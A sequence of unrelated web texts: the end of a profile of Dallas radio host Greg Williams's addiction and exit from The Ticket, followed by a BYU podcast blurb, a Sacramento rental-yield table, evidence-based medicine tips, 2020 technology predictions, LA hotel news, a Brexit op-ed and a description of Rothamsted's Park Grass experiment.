"I knew the meeting was going to be unpleasant," Williams says. "But I looked at it as part of the healing process. I was facing the music. I signed that contract without batting an eye, and I was assured point-blank by Dan and by Cat and by human resources that my job was safe. At no time did I think there was a chance I was going to be fired."
After Bennett opened the meeting, Williams made his plea for clemency.
"I'm sorry," he told the group. "I've made some really big mistakes."
Because most in that room refused interview requests, detailing exactly who said what is difficult. By several accounts, Dunham expressed the most empathy and disappointment, Miller and Davidson talked of mistrust and broken bonds, and Rhyner landed the fiercest verbal haymakers, bludgeoning Williams for his drug use but more so for his lying. At one point, Rhyner told Williams he should be "institutionalized."
"I guess the meeting was a last-ditch effort to try to save things," Rhyner says. "But it was clear early on that no one wanted him back."
Rhyner says three times Williams volunteered to resign, but Williams disagrees. "I might've said something like, 'If you guys really feel this way maybe it's best I move on down the road.' But did I quit? Never."
Though Williams claims he was taking only anti-depressants, Rhyner thought Williams' speech was slow, his body language sluggish. "I think he was messed up."
Williams counters that he was embarrassed, nervous, "but otherwise I was sharp as a tack."
After the 90-minute grilling Williams went home, convinced he'd survived the firing squad and prepared to return to work the following Monday.
"Looking back," he says, "I went into that meeting a dead man walking."
On Friday, Bennett told Williams not to show up for work Monday, and it became evident The Ticket was working toward a conclusion rather than a resolution. On Tuesday, Bennett called to say, according to Williams, a "parting of the ways would be the best thing for everyone" and to offer—after 14 years—one month's severance pay.
Enter attorneys. And a dark month in station history in which Williams' co-workers publicly danced on his grave, privately ignored his desperate phone calls and alienated listeners with a lack of information about their vanished host. Because of legal ramifications and health-care privacy laws, the station was gagged in what it could say on the air about Williams.
Yet The Hardline began turning Williams into a punch line, referring to him as "He who must not be named" and returning to the broadcast from commercial breaks with Amy Winehouse's "Rehab" and Eric Clapton's "Cocaine."
"I lost a lot of respect for The Ticket with the way they kept playing Greggo's drops and making fun of him," DeWeed says. "Greg's good people. He won't stoop to the mudslinging. Through all this, he's learned who his true friends are and hardly any of them work at The Ticket."
While his disgruntled fans demanded answers and created a "Where's Greggo?" Web site, Williams clung to life.
"There were days when Greggo wouldn't get out of bed," Boggs says. "He'd just lay there crying in the dark, saying there was nothing worth living for."
And on that December night, Williams almost ended it all. Almost.
Says Rosenbaum, "I didn't think he'd commit suicide, but when he'd just lay there in the fetal position, it crept into the back of my mind. There were days when he told me not to come to his place. He said his body ached. Said his hair hurt. You could hear sheer terror in his voice."
His career and well-being in limbo, Williams retreated to his condo in Colorado. Near Christmas he drove his car through an icy patch and into a snow bank, suffering a gash on his head that required 21 stitches. At the hospital, however, his Cumulus insurance card was declined, forcing him to pay the $3,200 bill out of his pocket.
"That just reminded me that even after 14 years of loyalty and success and everything else," Williams says, "in the end it's just a business."
On January 10, The Ticket issued a press release that read, in part:
"Greg Williams, co-host of afternoon drive show The Hardline, has resigned."
It's confounding that a company would agree to pay severance to an employee it claimed had quit. But then, surely Williams' illegal drug use violated his contract. Even more convoluted, The Ticket, by law, couldn't fire an employee who voluntarily entered and successfully completed drug rehab. And that doesn't even factor in Williams' clinical depression.
Asked to comment on Williams' tenure at The Ticket, Catlin and Bennett offered only this statement:
"Greg Williams was a key and critical part of building The Ticket and The Hardline into what it is today. To have him not be a part of that anymore is a shame. But just like a team who loses a star to injury or trade, we have to keep on winning with our current roster. I have full confidence in the guys that we will do just that, provided we keep entertaining our hardcore P1's in the way that they've come to expect and enjoy over the past 14 years."
Williams and The Ticket reached a settlement of their differences in May. As part of their agreement, The Ticket avoided a lawsuit and retained his drops, able to use its intellectual property as it chooses; Williams received a chunk of cash and the freedom to work wherever he chooses.
Losing a job Williams could stomach. But losing his friends—at least who he thought were friends—is devastating.
"I'm not a bad guy. It's not like I was some strung-out junkie screwing everybody over," Williams says. "The person I was hurting was myself. I don't understand why they have to treat me like this. They won. I lost. I'm trying to move on. But they're still talking about me on the air, just running up the score."
With his classic malapropos and innate ability to make you laugh both at him and with him, Williams' unique voice will be as difficult to replace as Don Meredith on Monday Night Football. But his friendships, apparently, were overrated.
Since October 12, Williams has received calls only from Hitzges, McDowell and Keith, and an e-mail from Miller. From the guy who got his Hardline blessing and who has since slid into Williams' No. 2 role on the show? Not a word.
"I thought me and Corby were beyond friends," Williams says. "Even on my best day I think about him turning on me. Nothing hurts worse than him not at least taking one minute to call. We'll never be friends."
Davidson declined to be interviewed for this story.
There's also no ignoring the brutality of the Williams-Rhyner break-up. The former partners last talked shortly after the November 21 summit, when Williams called via olive branch.
"I wasn't bitter," Rhyner says. "I just told him how I felt, and he told me how he felt. That was it."
Stubbornly, Williams hopes to one day resume their relationship, if not their friendship.
"If he calls me at 3 a.m. broken down in Waco, I'll go without question," he says. "He can't do anything to change how I feel about him...But I take full responsibility. I ruined our friendship."
Says Rhyner, "I'm still really pissed about all this. I hope there comes a day when I can recall our time together more fondly and think about him in friendlier terms. But not yet. Not after how it all went down."
Despite the ugly divorce, The Hardline appears softer but remains popular. The show conducted tryouts (Full disclosure: I twice sat in Williams' vacated chair), but those ultimately fizzled and, in fact, prompted increased roles for Davidson and Balis.
With the latest boffo ratings and Rhyner's seemingly renewed enthusiasm, it appears the show's DNA won't be altered anymore—at least no in the immediate future. In the winter '08 ratings book, The Hardline clobbered its lone sports-talk competition, ESPN Radio, by an almost 2-to-1 margin.
Without Williams, The Ticket's Super Bowl trip wasn't as high-jinksy and the annual compound week not as unpredictable, and the program's unique candor seems forever tainted. But to the majority of its fans, the beer-guzzling, boob-gawking, ball-bouncing boys' club is still the best thing on radio.
"I'm not sure what shape we'll ultimately wind up in, but I'll be here," says Rhyner, 57. "Just because The Hardline isn't the same doesn't mean it isn't good. It's evolving, and I'm excited about the direction we're headed. I've found my radio voice again."
Says Boggs, "They can play all the drops they want, but it's not Greggo. It's not The Hardline."
As the sun goes down on his lake house and his Memorial Day party heats up, Williams encourages his guests to eat, drink, be merry and drink some more. Seems like cruel and unusual punishment for an addict to tease himself with the lure of alcohol on his own porch. But with his friends slamming tequila shots, gulping Jägermeister snow cones and his girlfriend cutting up more limes for more Coronas, he surveys the scene and accepts his fate.
"I can't drink, because I'm an addict. Not one beer," Williams says. "Look, I've been clean since October. It's 9 o'clock on May 24. I can just about say I've whipped this day's ass. But tomorrow, if I don't watch it, I could go tumbling right down again."
Thanks to Rosenbaum, he's back on his medication, seems relatively healthy, is considering marriage and is working on getting closer to his 26-year-old son, Derek. Though he still has a legion of fans—some who infiltrate Ticket events with "Where's Greggo?" signs—Williams knows his image has been plundered. He was the ultimate hypocrite, gallivanting down the same decadent path he sanctimoniously lambasted athletes such as Michael Irvin, Roy Tarpley and Steve Howe for taking.
At 48, he could retire. Williams has been smart with his money, and the profits from selling a condo or two could keep him afloat for years. But he desperately wants to return to radio. "For my credibility and sanity, I've got to get back on the air."
He says he could start tomorrow working afternoons in Phoenix or mornings in Pittsburgh, but he's not about to leave home. Since March he's been in negotiations with ESPN Radio about a weeknight 7-10 p.m. show.
Though ESPN program director Tom Lee will only speak about hiring Williams in vague terms—"He's definitely on our radar"—Williams talks about the job in terms of when, not if. He says he's already undergone an extensive background check, agreed in principle to a one-year contract without benefits and at about a seventh of his Ticket salary, and expects to debut this month during Cowboys' training camp alongside ESPN regular RJ Choppy. He already has theme music, has Rosenbaum working on a Web site and even recently bought a fuel-efficient Ford Focus for the nightly commute to Arlington.
"I'm humbled, but I know I can still do winning radio," Williams says. "I've got a lot left in me, and I've got a lot to prove to myself and everyone else."
Williams knows he will likely never win back all of his fans or half his friends. But in a sports town that cheers Josh Hamilton and forgives Pacman Jones, his reputation just might be salvageable.
"I'll live the rest of my life through urinalysis," Williams says. "Even if I say I'm clean nobody will believe me. And they shouldn't. I did this, and I'll probably never totally forgive myself. I pissed on my name. Pissed on the best job in the world. But I'm ready to move forward, to live the life I should've been living all along."
The Hammer is half-cocked.
In this epic multi-part series, we hear several inspiring stories, including:
How Omar escaped Palestine after being sent back there by his father to prevent him from marrying a Utah woman.
How Dr. Hugh Nibley fought to help Omar enroll in Brigham Young University.
How Omar met, courted, and married his amazing wife Nancy – a brilliant Mormon girl from Ogden, UT (this courtship included his conversion to the LDS faith). We also touch on what it was like to enter into a multi-cultural marriage in Utah during the 1960s.
Omar’s draft into the Vietnam War (serving in Germany)
How Omar and Nancy risked expulsion from BYU for fighting against the Vietnam war and for supporting the BYU Student Democratic Party during the Earnest L. Wilkinson administration — and how Hugh Nibley came to their rescue.
Omar’s experiences obtaining a Ph.D. in International Relations at USC, along with his 10 year career at BYU wherein he faced both considerable racism and heroic support from certain BYU faculty and administrators.
Nancy’s work with the Democratic party in Utah, which included interactions with actor Robert Redford.
Omar’s decision to leave BYU and move to Washington D.C.
Omar’s work as a lobbyist for Arab-Americans, which included meetings with Yasser Arafat and King Hussein of Jordan.
The part Omar played in helping BYU obtain the land to build the BYU Jerusalem center, which he later grew to regret.
Omar’s scorching critiques of LDS apostles Ezra Taft Benson and Jeffrey R. Holland.
Omar’s work as a successful businessman in Washington D.C. against all odds as an Arab-American.
Nancy’s trial of faith after befriending Kate Kelly in her Virginia ward, and then watching her friend get excommunicated.
Where Omar and Nancy now stand with the LDS church, and with matters of faith.
Part 1:
Part 2:
Part 3:
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Top 20 places with highest rental yields within 50 miles of Sacramento (from Census data)
Place Name Monthly rent($) Median value of house($) Rental Yield (%) August 868 79,900 13.04 Kennedy 1,093 124,300 10.55 French Camp 1,066 123,900 10.32 Lemon Hill 853 103,000 9.94 Plumas Lake 1,645 209,700 9.41 Lathrop 1,531 199,400 9.21 Country Club 1,049 138,500 9.09 Garden Acres 941 128,000 8.82 Fruitridge Pocket 1,007 148,300 8.15 Florin 994 150,200 7.94 Bay Point 1,160 178,600 7.79 East Yuba-Beale AFB 1,393 215,500 7.76 Elverta 1,328 207,500 7.68 Bethel Island 1,160 185,500 7.50 Antelope 1,379 225,000 7.35 Parkway 924 151,400 7.32 North Highlands 929 153,900 7.24 Oakley 1,446 240,000 7.23 Suisun City 1,449 241,600 7.20 Taft Mosswood 930 155,900 7.16
Top 20 places With lowest rental yields within 50 miles of Sacramento (from Census data)
August 25, 2015
So, you’ve heard of evidence-based medicine, but you’re busy seeing patients and not sure where to start. You don’t have to take fancy classes, listen to podcasts, or read any textbooks to start practicing evidence-based medicine (but if you want to, you can find them all here).
Here are five things you can do right now to jumpstart your evidence-based practice:
1. Stop taking information from for-profit companies
Stop seeing pharmaceutical representatives. Don’t take their pamphlets, don’t use their pens.
If a study or one of its authors was funded by a for-profit company look for a different study. The vested interests of funders and authors tend to influence the results of research.
2. Know what the All Trials Campaign is, and why it matters
Only half of clinical trial results are published. How can we make evidence-based decisions about clinical care if the results of half of all clinical trials are withheld?
3. Know the PICO framework, inside and out
PICO, which stands for Population, Intervention, Comparison Intervention, and Outcome, is a framework for structuring research questions. You should be able to translate your clinical question (e.g. will low-dose aspirin help my patient?) into an answerable research question (e.g. does 80 mg of aspirin daily, relative to no aspirin, reduce the risk of heart attack in diabetic women over the age of 50?). Practice by reading research papers and describing their research question in a PICO framework. Get really good at it. Learn how here.
4. Keep a journal of clinical questions
Keep track of your clinical questions by writing them down all in one place. Use a notebook, your phone, or a computer. Try recording them in the PICO format, or translating them into the PICO structure later.
5. Schedule time in your diary to read one research paper
If you do not schedule it, it won’t happen. To use evidence in practice, you need time to find and critically appraise research findings. Take it one research paper at a time. At first, schedule 30 minutes to thoroughly read a paper. You’ll get faster as you practice.
You can use your journal of clinical questions to search for a research paper on a topic relevant to your practice. Alternatively, try following some researchers on twitter to help find interesting and up-to-date research to read. I’ve assembled a twitter list of people and organisations to get you started.
I’ve implemented tip five by scheduling 30 minutes every Monday morning (with digital reminders!) to read a new paper. If you’re short on time, try scheduling one lunch break each week where you can eat and read. This week I read Audit: how to do it in practice¸ which is a great introductory article for clinicians looking to conduct an audit of their practice. For my doctoral research, I’m conducting a clinical audit of refugee health care in Jordan. This article was particularly helpful for me to understand the organisational structures that lead to successful service improvement, and I will use this knowledge when engaging with stakeholders and sharing the findings of the audit.
The awesome thing about all these scientific discoveries it that they create technology that allows us to make more breakthroughs even faster. Our ability to innovate is increasing exponentially as the years go by. To give you an idea of the magnitude of this reality, here are 10 amazing innovations to different sectors of life. They should give you a pretty good idea of what changes will be made by 2020.
1) Bio Technology
Bionic Hand controlled by brain signals
Okay, it doesn’t let you crush rocks like you would think, BUT it does allow people without fingers to have fully functional hands that can pick up and handle delicate objects. It is completely controlled by the brain and requires no surgery. Touch Bionics, the company the produces the Pro Digits hand, is able to install the hand complete with “living skin,” a plastic covering resembling human skin, for under $50,000. A small price to pay for a new hand I think.
2) Architecture
Revolving Tower in Dubai
While Dubai is currently known for it’s ridiculous extravagance, developers in the region are building a tower that has fancy and extremely practical applications.
This beautiful building is going to be made of 59 independently rotating modules/floors so that inhabitants will have a constantly shifting view of the outside world. Each floor will rotate at approximately 6 meters per minute so that the inhabitants will not notice the movement. The independent rotations will also give the building an ever-changing exterior that can warp into very complex designs.
All of that aesthetic stuff is great and all, but the real innovation comes from the wind turbines built in between each floor. The resulting pollution-free energy will be enough to power the tower and several buildings in the surrounding area. Just Wow.
3) Computer Speed, Size and Usability
Speed
Most people tech-nerds know of Moore’s Law from 1965 (the number of transistors we are able to cheaply put in computer chips doubles every year, thereby doubling the speed). However, most people don’t know that Moore, himself, came out and said his law will most likely fail finally in 2020 where the number of transistors we can put on chips will be limited by the laws of physics. Does this mean the exponential rise in computer processing speed will come to a halt in ten years?
Not a chance, says Jim Tully, chief of research for semi-conductors at Gartner. “The technology which will replace this is a bottom-up approach, where chips will be assembled using individual atoms or molecules, a type of nanotechnology.”
Ray Kurzweil, a well-respected Futurist, stated in 2008 that when this molecular computing technology comes out in 2020, computers will have the intellectual capability of human beings. You might want to digest that for a minute before moving onto the next section.
Size and Usability
That Macbook Air is pretty damn thin. So thin, in fact, that it makes you wonder if physical computers will even exist in 2020. Well according to developers at Intel, the keyboard and mouse surely won’t. Who needs QWERTY when you can control a computer with your mind?
“We’re trying to prove you can do interesting things with brain waves,” said Intel researcher Dean Pomerleau. “Eventually people may be willing to be more committed … to brain implants. Imagine being able to surf the Web with the power of your thoughts.”
Pomerleau and countless research groups around the world are working with brain scanning devices to map blood flow in the brain. They have found that when different individual focus on the same image, they have very similar patterns of blood flow in their brains. For example, one British group announced that they could discern where subjects where in a computer generated virtual environment by looking at where blood flowed in their brains.
4) Cars and Fuel
There are tons of different fuel-types for the “automobiles of tomorrow” but the only kind that seems to have any realistic chance of actually being used by the masses in the next ten years is electric. We still can’t figure out how to make hydrogen fuel cells efficient, safe and practical and hybrids/deisal cars are yesterday’s news. Fossil fuels are so 2009…
This is the Tesla Model S sedan that will be coming out in 2011 for the modest price of $57,000 (very good for a luxury, electric car).
Besides the sexy curves, you get 160, 230 or 300 miles per charge depending on the battery size you choose. And another small detail, it goes from 0 to 60 mph in 5.5 seconds while seating 7 people.
So despite all of the automaker’s best attempts at making alternative-fuel cars so hideous that no one would ever buy them, it looks like market competition will soon push some very attractive and efficient cars onto the market.
5) How We Interact With the World
The way in which we interact with the outside world has changed SO much since the introduction of the internet, smart phones, etc. In the very near future, another huge jump will be made: integrating the information on the internet with our surroundings.
By that I mean being able to look at a building, product or place and immediately seeing information about the subject on our devices and eventually just with our eyes.
If you’re still confused as to what I mean, check out the earliest innovation of this concept, Goggles by Google. This app allows you to take a picture of whatever you are looking at and instantly receive info about it on your Android phone.
Like the video says, Goggle is only scratching at the surface of this technology. Kurzweil says that “By 2020 we’ll routinely have pop ups in our visual field of view that give us background about the people and places that we’re looking at.” Your memory and the vast information bank of the internet will be one at all times.
Until we can do this with a chip in our brain, a new device has come out that overlays video onto our normal vision using special glasses. It’s called the Vuzix display Wrap 920AR and it goes on sale soon for around $800.
6) Energy
Solar energy will soon leave fossil fuels and inefficient wind farms in the dust. According to Kurzweil, “the cost per watt of solar energy is coming down rapidly and the total amount of solar energy is growing exponentially. It has in fact been doubling every two years for the past 20 years and is now only eight doublings away from meeting all of the world’s energy needs.”
Emerging technology from a company called Sandia is making the reality that much closer:
Sandia’s solar cells are made of 100 times less material than the current top solar cells while operating at the same efficiency. Since the biggest hurdle in the path of solar power is the expensive and large nature of solar panels, these new microscopic cells will make a huge difference. For example, current panels are massive and require large motors to move them to track the sun. Sandia’s cells, on the other hand, would only need to be moved a fraction of a millimeter to track the sun efficiently while weighing next to nothing.
Even more amazing, they can be suspended in liquids and printed on flexible materials, allowing the cells to be places on any surface. What if your entire car was covered in these powerhouses? Bye bye, Chevron.
7) Health
While we still can’t cure the common cold, custom-made organs are just around the corner.
A company called Organovo has developed the first commercial 3-D bio printer that builds custom organs cell-by-cell. Each individual cell is based upon sample cells from the body of the customer. Organovo reports that veins and arteries will be available in 5 years, and more complex organs like hearts and livers in 10.
On a more general note, nanotechnology is revolutionizing the health world. The awesome combination of a higher understanding of how DNA works and the ability to create very small cellular parts is painting a very bright future for medicine.
Scientists are finding specific sequences of DNA that code for conditions like schizophrenia, autism and even aging. The cures are actually in sight.
8) Success and Popularity Accessibility
By that, I mean the ability of a Joe Nobody to come from nowhere and suddenly gain recognition and become a well known someone. The internet has been continually leveling the playing field so that you don’t need million in capital or marketing to get your ideas, creations and business into the spotlight.
10 year-olds are making thousands off their viral YouTube videos. Anyone with a business idea can start a website and get going for little to no capital. Even Twitter (which I am not a big fan of) can launch people into the spotlight if they can work the system in the right way.
Many people are getting huge jobs because companies are seeing how well their content does on the web. For example, Fede Alvarez, a director from Uruguay, recently had this short film go viral and was offered $30 million from a Hollywood company to direct a film for them.
The internet is the perfect tool for capitalism, entrepreneurship, and dreaming. Whatever you can dream up, you can make possible on the World Wide Web.
9) Robots
The first decade of the 21st century has been a remarkable time for innovation in robotics. While we’re still far away from having bots helping around the house or doing our construction, big strides have been made towards that future.
Recently a robot was able to teach itself human facial expressions by randomly contorting its face and receiving feedback on what resembled real expressions.
Here’s another robot called BigDog that came out a couple of years ago, but if you haven’t seen the video, you really should. It’s a 4-legged robot that can navigate difficult terrain and correct its balance when shoved. If you can’t watch the whole video, at least fast-forward to 1:50 where the robot can be seen running and jumping.
And finally here is the bipedal version of BigDog that walks heel-to-toe just like humans do. Again, it can regain balance when shoved.
10) Clothing
Nanotechnology in Clothing
– Nano-fibres will make garments tremendously more comfortable and durable. “By this process the textile products can be made more attractive, strong and responsive to customers’ choice.”
– Fiber-based nanogenerators will build up electrical energy in clothing from physical movement, ultrasonic waves and even blood flow. “If we can combine many of these fibers in double or triple layers in clothing, we could provide a flexible, foldable and wearable power source that, for example, would allow people to generate their own electrical current while walking.”
– Extremely hydrophobic (water-resistant) nanofilaments allow for completely waterproof clothing. It can be submerged in water for two months and still remain dry to the touch. “The water comes to rest on the top of the nanofilaments like a fakir sitting on a bed of nails.” (Whatever that means…)
If you’re ready to overcome your conditioning, say “Yes!” to life, and uncover your deeper potential…
The Trinity Auditorium at 9th and Grand in South Park will become the new “Esplendor Trinity” hotel. The 8-story historic structure built in 1914 has been converted into a hotel with 183 guest rooms. A 7,600 square foot rooftop pool deck and bar is being completed as well as a hotel restaurant on the ground floor with outdoor patio seating within a new private hotel garden located at the corner of 9th and Grand. The only thing concerning to me about this “private garden” will be a wall erected along the perimeter of this hotel garden that will do very little for pedestrian activation. The original Trinity Auditorium, which was the first home of the LA Philharmonic, will be reactivated as an entertainment venue with new seating already installed. According to sources onsite, the Esplendor Trinity will open by April/May of 2016. To see inside the hotel’s completed rooms, click here.
The historic 1912 Hotel Clark at 4th and Hill in the Historic Core will become the new 348-room “Dazzler Clark” hotel with a trendier and slightly younger feel than the Esplendor Trinity. If you may remember from a few years ago, both the Hotel Clark and the Trinity Auditorium were supposed to be reborn as the King & Grove Hotel but eventually those plans fell through due to internal conflict between the Chetrit Group and King & Grove that lead to their eventual break-up. The 11-story Hotel Clark stands out along Hill Street due to its large vertical neon sign that will likely be lit up at night once the hotel opens sometime in January/February 2016.
Fën Hotels currently has 23 hotel properties mostly in South American cities like Buenos Aires, Montevideo, Uruguay and Lima, Peru. Visit Fën Hotels online for more info including their Dazzlor and Esplendor hotel properties.
Esplendor Trinity Hotel (Click here to view hotel rooms inside)
Dazzler Clark Hotel
The prospect of frustrating or reversing the referendum decision – still the avowed strategy of a measurable slice of Remainers – will have failed. Brexit will have meant Brexit. We’ll be out and the next administration, whatever its political colour, will have to deal with the realities, opportunities and challenges facing an independent United Kingdom rather than entertaining any idea of a reverse ferret and somehow smuggling us back into the European Union.
Furthermore, a reading of the political tea leaves, suggests we might be heading towards a hard, clean Brexit rather than a soft, muddled one. The UK’s vexed relationship with Europe had led to a situation in which some might have felt we were only ever really half in the EU. To swap this arrangement for a status of only being half out would be a missed opportunity.
So far, so good. But the central legislative apparatus designed to expedite our exit from the European Union should be the cause of real concern rather than of celebration. The Great Repeal Bill will rescind the Act which facilitated our entry into the Common Market back in 1973 and will enshrine the existing (and vast) body of EU legislation and regulations into domestic law. This, we are told, is the best way to give businesses medium term certainty and smooth the way to a longer term plan to extricate ourselves from whichever regulations and directives are deemed to be damaging or redundant.
But this last part of the plan seems to amount to no more than misplaced, optimistic hand-waving. In the referendum campaign, the Remain and Leave sides agreed on little. But one area of apparent, albeit limited, consensus was that we were having to abide by a swathe of EU regulations that were less than optimal. To the Remainers, this was a mild irritation and a price worth paying for the supposed, wider upsides of membership. To the Leavers, it was yet another compelling reason to file for divorce. But no one argued that the swathes of red tape spewing out of Brussels were a universal delight.
The fear now must be that we will end up being stuck with most of it. Of course, once we’re out if the EU, we no longer need to worry about the flow of regulations coming out of Brussels, but that’s no reason to be sanguine about the historical, inherited stock.
For all the fury and indignation directed to the faceless Eurocrats, we mustn’t delude ourselves into believing that British civil servants have a liberal, light-touch approach to regulation hardwired into their brains. They don’t. Ridding ourselves of the reams of costly, economically damaging EU red tape will not happen by default. Much of the Whitehall bureaucracy will be instinctively geared up to producing an outpouring of new, home-produced laws rather than going through the painstaking task of deleting piles of old European Union rules which have accrued over the decades.
So, if we are serious about reaping the benefits that a Brexit deregulation strategy could yield, we need to change the rules of engagement. We should start from the working assumption that none of the stock of EU red tape is worth retaining. Of course, this should be a rebuttal presumption – not an absolute decree. Nevertheless, the burden of proof needs to be placed firmly on the shoulders of those who wish to retain regulations, not those who wish to incinerate them.
All of this can be achieved relatively simply, by inserting a sunset clause into the Great Repeal Bill. After a certain period of time after our departure, EU regulations and British laws based on EU directives will simply cease to apply unless they are specifically reaffirmed through the UK legislative and constitutional process. Whether some may be retained by statutory instrument and others require primary legislation can be argued over – as can the precise date at which the sunset clause is triggered. But the principle should be clear – outside of the EU we start from the premise that we don’t need to retain European Union rules over the longer term. We should not be expecting to embrace them as we embark on our journey through the 21st century as an independent sovereign state.
Not only would this lift unnecessary burdens on British business and help to generate economic growth, it would have the delightful side effect of refocusing much of the efforts of the Whitehall machine onto what we can repeal rather than what further legislation we can introduce.
The Park Grass experiment is the oldest experiment on permanent grassland in the world. Started by Lawes and Gilbert in 1856, its original purpose was to investigate ways of improving the yield of hay by the application of inorganic fertilizers and organic manure. Within 2-3 years it became clear that these treatments were having a dramatic effect on the species composition of what had been a uniform sward. The continuing effects of the original treatments on species diversity and on soil function, together with later tests of liming and interactions with atmospheric inputs and climate change, has meant that Park Grass has become increasingly important to ecologists, environmentalists and soil scientists.
Recent publication: Grassland biodiversity recovers: A study published in the journal Nature shows that grassland diversity on the Park Grass experiment recovers once atmospheric nitrogen pollution reduces. See Biodiversity bounces back .
Background
The experiment was established on c.2.8 ha of parkland that had been in permanent pasture for at least 100 years. It has had three main phases:
1. 1856-1902. The uniformity of the site was assessed in the five years prior to 1856. Treatments imposed in 1856 included controls (Nil - no fertilizer or manure), and various combinations of P, K, Mg, Na, with N applied as either sodium nitrate or ammonium salts. FYM (farm yard manure) was applied to two plots but was discontinued after eight years because, when applied annually to the surface in large amounts, it had adverse effects on the sward. For 19 years the re-growth was grazed by sheep penned on individual plots but since 1875 a second harvest has been cut and removed immediately. Park Grass plan 1856-1902 (pdf). Park Grass probably never received the large applications of chalk that were often applied to arable fields in this part of England. The soil (0-23cm) probably had a pH (in water) of about 5.5 when the experiment began.
Small amounts of chalk and lime were applied to all plots in the 1880s and 1890s. The Park Grass plan of 1881 shows the chalk application in 1881 to a small part of the Northern end of the plots. In 1883 and 1887 the plots were divided into Western and Eastern halves, with lime applied to the Western half in 1883 and the Eastern half in 1887. See Park Grass chalk/lime applications 1856-1902 (pdf) for full details.
Plot nomenclature in 1856-1902 is complex. Yields are given for the whole plot, eg plot 3, 1856-1885. From 1881-1902, yields from the small area chalked in 1881 are referred to as 'C' eg 3C, and from the much larger unchalked area as 'UC' eg 3UC. Separate yields were not recorded for the limed and unlimed Western and Eastern halves in 1883 and 1887, but in some years, eg 1887 and 1889, yields are shown for the Western (W) and Eastern (E) parts of the areas chalked (C) and unchalked (UC) in 1881, eg Plots 3EU, 3WC. Plots areas are shown in e-RA, which helps with understanding which parts of the plots are referred to. For further help, please contact the e-RA Curators.
2. 1903-1964. In 1903 plots 1-13, (except 5/1, 5/2, 6 and 12) and 16 were halved and the effects of regular applications of lime (as CaCO 3 ) were tested Park Grass chalk/lime applications 1903-1964 (pdf) . FYM, applied every four years, was re-introduced on three plots (13, 19 and 20) in 1905. In 1920, three more plots (14, 15 and 17), were halved and plots 18, 19 and 20 were divided into 3 subplots to test lime. Park Grass plan 1903-1964 (pdf)
Yields are given for the Limed (L) and Unlimed (U) halves, eg 3L and 3U.
3. 1965 onwards. In 1965 most plots were divided into four sub-plots, three of which receive chalk to maintain pHs of 7, 6 and 5 (sub-plots a, b and c respectively) Park Grass chalk applications 1965 onwards (pdf) The fourth sub-plot (sub-plot d) receives no chalk and the pH of these ranges from 3.5 to 5.7 depending on the fertilizer treatment. Dramatically different swards have evolved as a result of the different pH and nutrient status of the soils. There are 35-45 species on the unfertilised plots but only 2 or 3 species on some of the fertilised plots. From 1965 plots 5/1, 5/2 and 6 were used for microplot experiments. Plots 6a and 6b were re-included in the main experiment in 1972 but the other half of plot 6 (6c and 6d) and plots 5/1 and 5/2 have remained outside the main experiment. Since 1990, nitrogen fertilizer has been withheld from half of all sub-plots formerly receiving 96 kg N ha-1 (plots 9 and 14) as either ammonium sulphate or sodium nitrate to study processes controlling soil acidification, heavy-metal mobilisation and botanical changes. Since 1995, plot 13 has been split into 13/1 and 13/2 and FYM/Fishmeal withheld from plot 13/1. Since 1996 plot 2 has been split into 2/1 and 2/2 with plot 2/1 receiving K as potassium sulphate. Park Grass plan 1965 onwards (pdf)
In 2013 plot 7 (PKNaMg) was divided into two equal sized plots, 7/1 and 7/2. This was to test whether P fertilizer was still required, because large reserves of P have built up in the soil. No P fertilizer was applied to Plot 7/1, but K, Na and Mg applications continued. Plot 7/2 continued as before (i.e. it received PKNaMg). In addition, N applications began on plot 15; 144kg N/ha as sodium nitrate to provide a comparison with plot 11/1 which receives the same amount of N as ammonium sulphate together with P, K, Na & Mg.
From autumn 2016 all plots previously receiving 35 kg P ha-1 as triple superphosphate will receive 17 kg P ha-1 (until further notice) because of the high levels of available soil P from past P inputs. The P application to plot 20 will remain unchanged. Current K, Mg and Na rates on Park Grass remain unchanged.
Yields are given for the four sub-plots, eg 3a, 3b, 3c and 3d.
The complexity of changes even for an individual plot is spatial and temporal as illustrated by this example: Timeline for Plot 2. These adaptations were most of the original Park Grass plots were divided into two in 1903, and the effects of regular applications of lime were tested. In 1965 most plots were divided into four sub-plots, given different amounts of lime to maintain soil pH at 7, 6, 5 and an un-limed sub-plot
The botanical composition of the plots has been studied by visual surveys and by looking at the percentage contribution of the various species to the hay harvested. Chemical analyses of the crops and soils have been made and physical samples of the crops and soils preserved.
For more details, refer to the Rothamsted Guide to the Classical Experiments 2006 pages 20-31, to the Plot Descriptions and Treatments and Key References listed below.
Harvesting methods
The plots were originally cut by scythe, then by horse-drawn and then tractor-drawn mowers. The mowing maching was first used for the first cut in 1901, though it had been used for the second cut since 1881. The plots were cut each year for hay, usually in June, and a second cut taken in the autumn since 1875. A second cut was not taken every year, and not from every plot each year, if there was insufficient herbage to sample. No second cut taken 1856-1874, 1876, 1884, 1885, 1887, 1899, 1911, 1914, 1921, 1924, 1933 or 2003. In 1903-1917, the second cut was taken from the whole plot, not the Limed and Unlimed halves. The regrowth after the first cut was grazed by sheep 1856-1872, except for 1866, 1870, and 1873 and 1874, when the regrowth was mown but not removed from the plots.
Yields were originally estimated by weighing the produce from the whole plot, either as hay (1st harvest) or green crop (2nd harvest), and dry matter determined. Since 1960, yields of dry matter have been estimated from strips cut with a forage harvester. However, for the first cut the remainder of each plot is still mown and made into hay, continuing earlier management and ensuring return of seed. For the second cut, the whole of each plot is cut with a forage harvester. Consequently recorded yields of dry matter are now larger than previously as fewer losses occur. The following correction factor should be used for post-1960 data for cut 1 to give yield values equivalent to pre-1960 values:
Y cut 1 = 0.2743 x (Y F 1.662 ) (Bowley et al, 2017)
where Y F = yield collected by forage harvester, t/ha. The correction factor was obtained from the relationship between yields for hay and forage harvested cuts (r2 = 0.90) for a selection of plots for 1959 and 1992-1994. For more details, refer to Bowley et al, 2017 (see Key References below).
Plot Descriptions and Treatments
Data Available
All data available can be extracted using the e-RA Data Extraction Tool. Preview sets of data are also available.
Yield Data - 1st and 2nd cuts, available 1856-2016. Preview Data
Partial Botanical Separation Data - selected years 1862-1976 Preview Data
Complete Botanical Separation Data - selected years 1862-1976 Preview Data
Imperial College Botanical Survey Data -1991-2000 Preview Data
Mass Effects Study W.E. Kunin, Imperial College 1993-1994, as described by Kunin, 1998 (see Key References below) Preview Data
Insect surveys - 1977-1978. Leafhoppers (Auchenorhyncha) on 13 plots sampled five time in the summers of 1977 and 1978, as described by Morris, 1992 (see Key References below) Preview Data
Herbage yields are recorded each year. Physical samples of crops and soils have been preserved in the Rothamsted Sample Archive. For more details please contact the e-RA Curators.
